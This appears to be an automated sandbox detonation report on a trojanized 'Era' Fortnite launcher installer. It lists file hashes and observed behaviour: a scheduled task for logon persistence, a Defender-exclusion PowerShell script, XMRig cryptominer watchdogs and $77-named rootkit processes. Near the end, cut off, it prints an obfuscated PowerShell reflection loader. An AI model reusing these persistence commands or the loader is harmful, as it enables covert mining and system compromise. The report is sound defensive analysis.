SHA1 4d0f906ec3a41672b7aeb6337ba705f52151b31a
SHA256 e4106de70f592a58de47b7ec270c47244c3eb9d94340b094c5f09707d1ead0f3
SHA512 7b9d1a21b6e7faef1331f53d08dfa43c2715009b823ccb59997ffe446a5d69f4b4d5b1d8b203dad828a47da99b09ff2bf1b96b89b63343ca072420c83d4ef211

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\locales\vi.pak

MD5 77c14a5728a60ac9d573fab73982dc9d
SHA1 544cb69d944fad4a7eabf43b435a855e09f94d09
SHA256 f0a33d481d03cf862bc11302b8dc643e9a4bb8df4d33aacd7749618f3aada1a8
SHA512 0983e85595ede969b4aaddf6f3cb7cbede2ede23fb2f664e26fef08aa4535757918554091a7d9d038d48919ca6a3a5f957eaec91851a66a538865be6e9dbef85

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\locales\ur.pak

MD5 c95de82413f43f215b1e1bdb01bc3eae
SHA1 c3e1ef42c705a2292d71405160dd8565cb941821
SHA256 c0eb2b1ab9bc8b30c4761926d8426849fabab45cf28f2b7012b9bed6c12af890
SHA512 58574f7410aade3621781e9736378376fd1f7b8f8541848540f9cdf81ce1e94a1b5ca2426da04357cd5ada626b632ae51e4f6cd35d8ad59b3e8d30b1e4cfcc2f

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\locales\tr.pak

MD5 c6634d2b38a6adff08028bcbfc7917ca
SHA1 2c70fa2e149a6411f6acbdac81aa6fba93c4576e
SHA256 9754e8326061e01b997f347d7004d66ae6a00100e5315b2197c4b35b76b136bf
SHA512 fe7134e9d8d2e79f72e9b8720e4bcdd9cb8b2c419d9dc917885c175bb9263f882acd16ead501389c637f67e58c614ea587d5e69bc1fe6f5c684e7e10ea132a13

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\locales\th.pak

MD5 5c09d12c9c7a486c6394ed19c8410b72
SHA1 012de81d6dd242de143c407ece2086aa0a1edc24
SHA256 a03c8c00d9f33bd75c7c3a1aa24fc2870e0744445d079103b71846fc518c3720
SHA512 7c2d8bc9c01bcbf73a7c177cae2276e04c0e7283bf1840739f10fb5a52148a71027efc841bae4047ce7fc7da5930853ef9310478ea27f884eca2b9b1275e443e

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\locales\ta.pak

MD5 af943e2a261cdef99ff75955953b69cb
SHA1 c605b139e8884425aa45c33a328bcd32f0af6157
SHA256 e4882c58e59e51978d27af24986de668c7909e8e872c0e46fbcd33c4554441f3
SHA512 f5855ed5a1e9120889d4dc6f654721e7a523c8bdbcd788ce407a9621fe2bda82f340b95a59b9fe8c98adacf1a1a981ecea3e72a94e1aafaef02a5cffa567d840

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\elevate.exe

MD5 792b92c8ad13c46f27c7ced0810694df
SHA1 d8d449b92de20a57df722df46435ba4553ecc802
SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
SHA512 6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar

MD5 997d261b5261e2b0c5d25cebafa41f30
SHA1 f283253a096efcf32cc413a25072474bb20a5ab0
SHA256 696d15d99196bbb39aca18179dc60f406685977c29a26f7741e508854d659c20
SHA512 ef2a80acf122405cc50acff65f43b05df266c693b68963fb209d7038a8175d29d76773f5d6854dd71fee698178fc95991c606e5dc003b5e5b8a511cd7433c4dd

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\LICENSE

MD5 e3d16cbe8c384104518fb24db70e2f09
SHA1 f2b2f9c8dc15576ea23846388a562b349128d739
SHA256 d9f7c6da4e15fafb1963ca451736a20f7fee517c503adf2435a015de489cd3ff
SHA512 b4c99118a7505a2693e2d552aaa8aa67a6667e8852ad6f73deda0888f0f56836c0e701766d7522dac969696052b08f9e83024bd9df1747ee1445805375e3fb32

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\checksums.txt

MD5 1dcfcfdd8cce3e3b0fa697af106e4075
SHA1 f9261519f777790f7cd50c91e389d0e6589bd92a
SHA256 1357dc0a2f6ae355ab59b409c94cf635b7ed849a3bcb60e95b7132cbfd297324
SHA512 751ac3545299650e783daf0a45823660ce0b3f6dd7d722d303b9a801b02db61f7bb3a5129f4481294f2201fb5ad4e7bb1b2ab9a2d993ebde8a0d985f08ce34a2

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\package.json

MD5 49f7deab5d526f6f79d8fd80be29c97e
SHA1 e6ef40032a68a979454d30e9a483a1043367a90e
SHA256 3fe1b2bd4e7ed12e73c5717dc162f9086a4b349528042c4313610573530c6992
SHA512 053d4996c3376aa0fbee16be84d0a7f86b043ee1928dfe81e5b8db1686ac5e42db26b13ecd168a86f7315e8c208549b68f1ee3b64df3c12426eeda73c4efcdbe

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\scripts\wheels

MD5 6fec563925ecab8b6a98c3f38655236d
SHA1 9ad08eb80167574de6373d871cfff5511d2554cf
SHA256 6fa0613c1edb0c6b26baac0b759bf756f389a11e0ec0e64904cffb26ef8dc016
SHA512 850a5285519965fe26ab0da2ae62d380648acb723d879e2ab770124e4146ce0a6d03f089e28af20604dd3e00913169f82ac568a1741014e0bc5ee7b2c583888d

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\scripts\test-vercel-nft.js

MD5 c63a1659a645a5095524923081813d51
SHA1 1d97d7ccb0804b7a15f0593c87990ab0da4b6887
SHA256 644476fd66a507adc49582e7371c87e4cacc3c7840c23fe920da2a09f05db08a
SHA512 ae452613a1dc728428ed2e596d7fbb041e00a8aa300aaada289fd454f71267569fa548fa7c7217134572decab12e56f4aadd4853c96ef705ccba2dcb377018cb

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\scripts\install.js

MD5 1ffedd383c8097dd628411836505787e
SHA1 969306e8127b354f35f4c870f2da7b4034d4197b
SHA256 df3b6ca3fff442454ffee98e8e4db5e3fe0d82ff19a49216cd238fa9282cb30a
SHA512 1392958e5a9c2e0c6df617c48547f5fdae32960bfb55953528ee345e06e1ae191ca4001a618233adeab27e16de5ecd203c405e8b4fa7f3a739cd3d2c4a1e9ed2

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\scripts\bump-version.sh

MD5 2ff8e17ece2c70eff9efdb2b1a524555
SHA1 d61c93df38f70f2244817c688a140224c9a99af9
SHA256 f07b481f34e732e74abe6402023f8b84f61281626ad6e25062a20fa8fd80ece4
SHA512 0f847fd2b05bd4627a56b452f065e878005b6307bc101663297afb5f45c24d965ddc48ea4818c34ab35bde06f5a7711cf29fb9182c8ed9cf34e17d6434c487ee

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\scripts\build-in-docker.sh

MD5 94b0fc212af523b8bfcd6c2aa5a5ab2a
SHA1 cc0cb35f7ce729f7affe6b2c463e57966515e476
SHA256 abaa92d196f6752f184b83b19aedd9b1e28d328e6817de213f61fbd108351e16
SHA512 af0a2174e0304fdaa56ddae249049c142450ad4a0a9c8975548f61aa2bc356837b1d7ed441108156af32c979da5647bd0233a49db700ff0bbf528f9fa2c862e6

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\js\releases\options\uploadSourcemaps.js

MD5 d060ac623857ad5ca08e3a944768925a
SHA1 26fe78c92f55f9529ffa2b71da403873da29313f
SHA256 8d4bd4c779e177724aa7bf98e768e50ce8b2950ef5bf39fa08033057b400888b
SHA512 ae1b42d7e5c5d60f935bcd08417d4d9055d71bfb80653281e990a687353592731a7c4423655fbb988728152846aa56a5f180335d254885338bf6c96ef2a8357a

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\js\releases\options\deploys.js

MD5 f42c24cde0162b93624df51f4e2abfab
SHA1 f819638944878ac4cb49438d8599d3fbd9081949
SHA256 3f2316e7fb20e82df9a8b08d6169a622a89808742806adee2e4d89885962357d
SHA512 67258cbaf9f46f1609cec9b87b7a577f855cde9c8efafa3d835a0d18fb3903fcc4733489bf81447cdf2c0a55701d569a75f11a81865dab8f624b722e76b7c674

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\js\releases\index.js

MD5 e8282413c1895eaff49de6dd9b71ab13
SHA1 4e058f522a46e20bbd26f15a6922390ec2c1da36
SHA256 d6a28994173c1c36476121f8b0e3633e01ecd0589289901fba34fe218293443d
SHA512 301d2a6ae958e1ba936cae6f555a587ad87567055f4709d4676a3ef5b1a3112cb338b8a9e744c24cbfa784f00f13a1118ad48fd4f6bb060c5608e4ddc8779389

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\js\logger.js

MD5 1d26f69361e75ca5cd2eac5f99249c72
SHA1 787d51c708ce15b2c533a180a2bf639648bc40eb
SHA256 d7d63601d3347efc93425f4f93049cfb9ed2b9ead1dce662c9c1bed3cba302e0
SHA512 7350774074462d33ac9f2e130829306af08a6693fd597f40c39bfb194684f66d965cd23c10de5fc4389e4a2ffe84db727aad23dd683a805ae4825f10026cb040

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\js\index.js

MD5 50c3a734036b84685a15d56217207d67
SHA1 1893de2684072a3a2961337fa9a9b45a52c52c0a
SHA256 171990f108cd5582f83432c1569f2c3e1aebfbfb159599f4ff2ab693c20a8f78
SHA512 3aa037d12cee7cbf51826fb3e2aa87b4543dd62f5ff5f2f8915128061c07472304601766bddf949647c5ca92e8ee768a77139bbe91bdfaaae99dea4405168ea9

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\js\helper.js

MD5 c29ad60a23d5406728a51afa4352b4c7
SHA1 2be817215890f5868717765570ce9f7422735c4e
SHA256 faa867204c92db252271c9d850962ae1ff5c9448444ca907af483a6c874a6eb0
SHA512 e1784b8bf7119bf3380b192f1597cb3179425ff7ab347b144011fd17b62794760e6e092a0a1dae99302eb6c333f1638440df4e4e0eaf64f26d4f3cc46a74d04a

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\bin\sentry-cli

MD5 b7c89ec5dfb8b15555f32a3bef6c3103
SHA1 a92048052f5fc0af532cd97ebf82c1a9fbf12342
SHA256 7c5c97aaee075241bdc4fbc610b356445747e962ac3d986c5016acefd66a6ea0
SHA512 c47baa0e0896684403760a13cfa6dd5826152ec7ae83f783040d186eaca8af70bc97530bbb22b720d7482a4ad18c3959ab1af8ccfe3689b19a51955e777884e8

C:\Users\Admin\AppData\Local\Temp\nsd4348.tmp\7z-out\resources\app.asar.unpacked\node_modules\@sentry\cli\sentry-cli.exe

MD5 49ae76077202745b47dff30b20361bc0
SHA1 3fc7828ca4b6f7373f7b441dc0a519f12d24c1fb
SHA256 f7aba7f7825659d38175cacfed9a32bbc97041637a27f337ffa19e752a798dcb
SHA512 69942669300b899e17695ede0cc99c4112963b28c0975e0e5eb6bfc71110e33ce0df51d0e0ac1f4c2828f3ed310d2ed1ee7bff4e45c7a1fe6231111b97f58607

\Program Files\Era\Era.exe

MD5 80d9331b834435a16649be5a4756156f
SHA1 92ba2267a4e3eb862ec7d34290744220a49ac5ba
SHA256 d2dbd015fd76c56f6b12771afd37caedd195eccbd01e6dbd47c46d95075107c5
SHA512 6554a2ff571b261eb122d63fdb75ffbe9225133f0815dc94e894e596b5c6da759d01f9901fd7468af5c3d796b43241d1a7f9309674604d4dab03efba7ca77377

\Users\Admin\AppData\Local\Temp\nsd4348.tmp\WinShell.dll

MD5 1cc7c37b7e0c8cd8bf04b6cc283e1e56
SHA1 0b9519763be6625bd5abce175dcc59c96d100d4c
SHA256 9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6
SHA512 7acf7f8e68aa6066b59ca9f2ae2e67997e6b347bc08eb788d2a119b3295c844b5b9606757168e8d2fbd61c2cda367bf80e9e48c9a52c28d5a7a00464bfd2048f

memory/2400-723-0x0000000002E70000-0x0000000002E72000-memory.dmp

\Program Files\Era\Era.exe

MD5 caff4011998481184559a6039f9971f4
SHA1 f4efce7ef3d925febedbaaa8db3a1e38076e4667
SHA256 eedb2560f973c3309e8d1785bab72b510ea68f720406c960b659220312355b65
SHA512 c8be0eadcf8d4ad5cff8c8768e4eaa9a2c0a0a12cb3a22a1b731e4410cd87fb78880a8c59f599683b8b3bace648e0e926f732aa211bb3824d7d5a21b3b934a0e

\Program Files\Era\Era.exe

MD5 aaa73fe76a229db66a14ae68ea62545f
SHA1 646638c55128df19ef31f69f80eab45ae57aca62
SHA256 ba1350a1fd881d325ef084c7c108a8b5ce9c5cc933da9ac42b03a9daa73584c9
SHA512 5ccccc41e3db13d7fd85d820da17a114f9801d56d6459834e4def1f8b30050f5358f8c1de8eddeeb0fabdc36fde4123dc7bfe5bdd56bd0db325842fb0203062d

\Program Files\Era\Era.exe

MD5 3c40b11199dd133952c80299cd59a92c
SHA1 abaac8e1f4d9d70479dd67f7a3a4047ef5051698
SHA256 efcb2af57b9582c59b8b2cf06a606cb53d3c3371bd881d8e02285ec4f691f9b6
SHA512 ee3b5a4dce81b5d42092da9d53b988bf9b53537e426335beae905e735be2de269a4030ca0b9291fb1fd571c5ecd857fc1aed972689adc9fa63a210e5402e8dc2

\Program Files\Era\Era.exe

MD5 0392aa20b07fb95e0f955108b8a9c8fb
SHA1 5023736b20d9ef4eecf76e91471271b66f0d881c
SHA256 ba38fb3fbb64acfa4a4805b655c41dc09650e18269addb35287738e609e9196f
SHA512 137f079c622311db871a60d33d2c49d9ca3d11eba4f8770a339806078044a825432bc385204dfc7b12ab121c972edb57af0ca8c41cadc39c943fd547b86692bf

C:\Program Files\Era\Era.exe

MD5 e0add25b86a61acfbcc4482241738c1f
SHA1 b43ee39a71aa888283e58d19b01fc254dc9a0ada
SHA256 015d524494c3b33bb8c647224a7e164d8bff0a110cef97ee0b303c9c0883cfb1
SHA512 1521beed9e6c5deecd6b322f83378a8ae8ff7f4eb04a02b5db09176fdd58b819e3e659ce170e3505aa1e5991b51ad3f633dc7278077e70abb01cc550a8323de5

\Program Files\Era\ffmpeg.dll

MD5 56b8cb9a72e6dea4efe0a2856131eac8
SHA1 bf7cc3bd3c7ac363ca4f1bd0d4873569f88f0ce6
SHA256 256f824ffdeb6b9f646de17ee077c19cd46a848d51d2d60194a5c38a04022ecd
SHA512 0eeea62335d4b7ec5d4efc4cc643f1fd3d614444e7debb3bd4747c78758337350d5bb8bab786f878896f7884106b67b3ca0fd382750602202e95f22f436f28fd

C:\Program Files\Era\ffmpeg.dll

MD5 81b3cff49a855d47d7ba24c8aa6ee742
SHA1 12705cfece25cc9496e3ee7e52077031cec805f9
SHA256 f1133a93f65b24d3ade9730c13eecfbb96333b3de11434c2175a78363e07b483
SHA512 3c64ca40f4809627079901bd9f93f16f27701266ecbf5ae914c92ea73371bfbe53c8a2fcfdac5688875aca198b8fc755eda4654e9d48fd18ece0878b7cf6f835

C:\Program Files\Era\icudtl.dat

MD5 8eb1cddc4fc6614115d918c09462ee66
SHA1 f03d3a0ac64e7885e361da52281d0cdc836e783d
SHA256 0544e33fe993c8009955273ad730c6e8a68ddbd017937e93445738cdd70e1497
SHA512 9fdff1292539060261b41ae931ec6766b28b7bb1e061977b786e7efcfd83db1da7530464007abcc0fc795e9cc7b01b64238825f5859b990678f4367ea080d2e1

C:\Program Files\Era\v8_context_snapshot.bin

MD5 f419dd00c195b6e2ae09d39c75f28403
SHA1 3c015471071a5e3c800adf98ee414f87a61d0af6
SHA256 742f257056d4ac95d6f90b8d71c1230b31760bdd4ac6c9a9b6183566f7cf8d25
SHA512 b4ff4a25a6b6fcb45747ad769af1213e816eafb29489fc937943ecea0990fdb37e7d1416afabf407b480c837663f74e32415a36a15dbc2f16be9a01ac71b85ad

\Program Files\Era\Era.exe

MD5 6280f59cad3d8bf0e3bf20234722946b
SHA1 22e2389a8b24791bbc7102b5752de7a58352b017
SHA256 d54002e3a40053cbfb698bb60a12cfcdc09cfd4b1c1adefc3aff400ab100c22f
SHA512 670353ec1fd528e1792bc10fb3f2292cb58765ff91dd7b76a912d6f2fe66e71c6107b6f07c58d3e0835708f40b0e60ce51bb9ee267169e052b1f0de347aa3f12

\Program Files\Era\Era.exe

MD5 e8535ba6e89b9202247266c2da9e748f
SHA1 6e467f4add3fda3b2956bb5007fded188e0cf586
SHA256 5236f54544687884288cdfd2d1020f2a9923015c35e21e1fd4eee23081074d58
SHA512 81121263dae49256ae3ddb46331b69a833ff63c0bea1eba8531b1d6febd2c82ca44d439df5d6cab8b523ae5a166d27d4b1e7d8bc36e595b360071910ccb71176

\Program Files\Era\Era.exe

MD5 43684dcbdc2e10190270e4f81513cfb6
SHA1 a035175fd9ea3be3e4c39f9d6a37e4a846c2d1c3
SHA256 4a2662c9ef4a774becf92de36d89fbafa8e522c8a8f6734a50ead3f13364017b
SHA512 315c8bf94c3fa3e6fb703376fb5fcd51e5e3689e3435b0e60932930483230eeb868ce8944a61500f89d2d305183180bf2c329afdce7c77ee630e0b54d1ed2c32

\Program Files\Era\Era.exe

MD5 5add1283632e905f292e15456be6cb79
SHA1 d6ef563b676ce1686029fe9c2675a05859223e65
SHA256 a6402272b66767a0689c0ac919013e02c2916bd9ae478459dc6784ceed2e9b46
SHA512 f31e0d290f783dc0b5ab60e7d6677708121a60f00d7be512cacc9e2708aa42799eb30d6e718889dc35a40a1f6701146aecc6586035c4975295647c189e50e64d

C:\Program Files\Era\resources\app.asar

MD5 35151e9619b748059604ea399a1a234e
SHA1 36ef76ab74379a72e1374239eb7c6270d80ef529
SHA256 a68d930fd047fbef36c09eabfd9182c72fb8398634e67360c215614125276339
SHA512 90706b741ce47a212b72e374232073ae2a452c57ffa7432c7bde4bd000eb42df8fd736053d3b7a41238def4a95f66e0f9b3c04ac08f2250e2d0b03e987da9108

\Users\Admin\AppData\Local\Temp\05954489-144e-47e0-8e3c-e3f834db3991.tmp.node

MD5 f7f92a8ce8ed4d51030697adebb820fd
SHA1 aa023eab4a95f1fb7475cc79f70f997151aae9f4
SHA256 8c558e6a4408894728f8ed75c2e8baced32365cee2806fdb89508cfef3e896f7
SHA512 57b5e2a235de227c2703aa31e4575d843a070d134ec8d16a17107b4d0335ce714960f2e73926b13471b884e5762e7dfe1fa592d180c0ee959a701ed5df03a7c9

\Users\Admin\AppData\Local\Temp\268bc84d-380d-4b68-9dac-1dd480182d61.tmp.node

MD5 f53f60fca02d1bdc15fcc90f5bc3a322
SHA1 d9431882027b48f75410986c5489afa438ee26ed
SHA256 4b56640b7a308467cc4edd920399807e792f583739bdb51329cf26c3f9cbe4ee
SHA512 50b5168d708803093ef0ed68dd07067695073bf9abaed3ec27ca6a396295330e9499edc436919350a93b4504eb12b196bc54f7eca0610b2f97d7636a8305bc57

C:\Program Files\Era\resources.pak

MD5 ed68c2e74a46046ebaf530e3aaeaf71e
SHA1 89aa7564e901be3ed14864e2b89b4855b198356c
SHA256 00f3bac384c56d7e1848871155c4380451e3dc098fa2ff92fc39ff578261593d
SHA512 bb2292923af6a1dec6a1034447cbb354c8dad066348a8be516b362ba895e6e69d5b7b2d556dd890da450088ae9bc2bacc299bd4445eacfbd082dd5cb79364c2f

C:\Program Files\Era\locales\en-US.pak

MD5 e7a99387f4e05506e534c05cfce3cae9
SHA1 188fc2ef6927c5711aecc65db64186dc8caa4c70
SHA256 97e02a2d4a7416f4b093cccf8248f56ac3a1867e683708849f384021da9bd136
SHA512 b2cb6b9267294b99e759c9b46fc20eeabf311895286fd40fa67c6ee2bb7a3ff0fcb4282c8cd7c076704a16ddfcb8a77392dffd62ebfecda2862bb570fb0af50e

memory/2204-949-0x0000000000060000-0x0000000000061000-memory.dmp

C:\Users\Admin\AppData\Roaming\Era\Local Storage\leveldb\CURRENT~RFf767cbe.TMP

MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

memory/320-989-0x0000000002460000-0x0000000002461000-memory.dmp

memory/2092-1005-0x0000000000400000-0x0000000000412000-memory.dmp

memory/2596-1006-0x00000000731C0000-0x00000000738AE000-memory.dmp

memory/2596-1007-0x0000000000480000-0x00000000004C0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-02-22 18:15

Reported

2024-02-22 18:25

Platform

win10v2004-20240221-en

Max time kernel

5s

Max time network

158s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A
N/A raw.githubusercontent.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api64.ipify.org N/A N/A
N/A api64.ipify.org N/A N/A
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe N/A

Runs net.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe

"C:\Users\Admin\AppData\Local\Temp\Era Setup 1.0.58.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\net.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Era.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\AddExclusion.ps1"

C:\Program Files\Era\Era.exe

"C:\Program Files\Era\Era.exe"

C:\Program Files\Era\binaries\FortniteLauncher.exe

"C:\Program Files\Era\binaries\FortniteLauncher.exe"

C:\Program Files\Era\Era.exe

"C:\Program Files\Era\Era.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Era" --mojo-platform-channel-handle=1900 --field-trial-handle=1400,i,8011459649828289107,16302277830779218260,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8

C:\Program Files\Era\Era.exe

"C:\Program Files\Era\Era.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Era" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1692 --field-trial-handle=1400,i,8011459649828289107,16302277830779218260,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2

C:\Program Files\Era\Era.exe

"C:\Program Files\Era\Era.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\Era" --app-user-model-id="Project Era" --app-path="C:\Program Files\Era\resources\app.asar" --enable-sandbox --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2476 --field-trial-handle=1400,i,8011459649828289107,16302277830779218260,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1

C:\Users\Admin\AppData\Local\Temp\$77-Net.exe

"C:\Users\Admin\AppData\Local\Temp\$77-Net.exe"

C:\Windows\$77-ExclusionWatchDog.exe

"C:\Windows\$77-ExclusionWatchDog.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /F /SC ONLOGON /RL HIGHEST /TN "$77-DLLHost" /TR "C:\Users\Admin\AppData\Local\Temp\$77-Net.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ExplorerHost.ps1"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ExplorerHost.ps1"

C:\Program Files\Era\resources\elevate.exe

"C:\Program Files\Era\resources\elevate.exe" "C:\Users\Admin\AppData\Local\era-updater\pending\Era Setup 1.0.60.exe" --updated --force-run

C:\Users\Admin\AppData\Local\era-updater\pending\Era Setup 1.0.60.exe

"C:\Users\Admin\AppData\Local\era-updater\pending\Era Setup 1.0.60.exe" --updated --force-run

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c C:\Windows\XLA\RunXMRigSilently.vbs

C:\Windows\$77-XMRWatchDog.exe

"C:\Windows\$77-XMRWatchDog.exe"

C:\Windows\system32\tasklist.exe

tasklist /FI "IMAGENAME eq xmrig.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c tasklist /FI "IMAGENAME eq xmrig.exe" 2>NUL | find /I /N "xmrig.exe">NUL

C:\Windows\system32\find.exe

find /I /N "xmrig.exe"

C:\Windows\winexplorer.exe

"C:\Windows\winexplorer.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:RpSPrXXrVNAa{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ndNcnonQoIuhbV,[Parameter(Position=1)][Type]$DOnquqWZIa)$AHXwRMrYdnB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+'l'+'ec'+'t'+''+[Char](101)+''+'d'+'D'+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+[Char](109)+''+[Char](111)+'r'+[Char](121)+'M'+'o'+'d'+'u'+''+[Char](108)+'e',$False).DefineType('M'+[Char](121)+''+[Char](68)+'e'+[Char](108)+'e'+'g'+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+'e',''+[Char](67)+'la'+'s'+'s'+[Char](44)+''+'P'+'u'+[Char](98)+'li'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+'l'+'e'+''+'d'+''+','+''+[Char](65)+'ns'+'i'+''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$AHXwRMrYdnB.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+'a'+''+[Char](109)+''+'e'+','+'H'+'id'+[Char](101)+'By'+[Char](83)+''+[Char](105)+'g,'+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$ndNcnonQoIuhbV).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+'ged');$AHX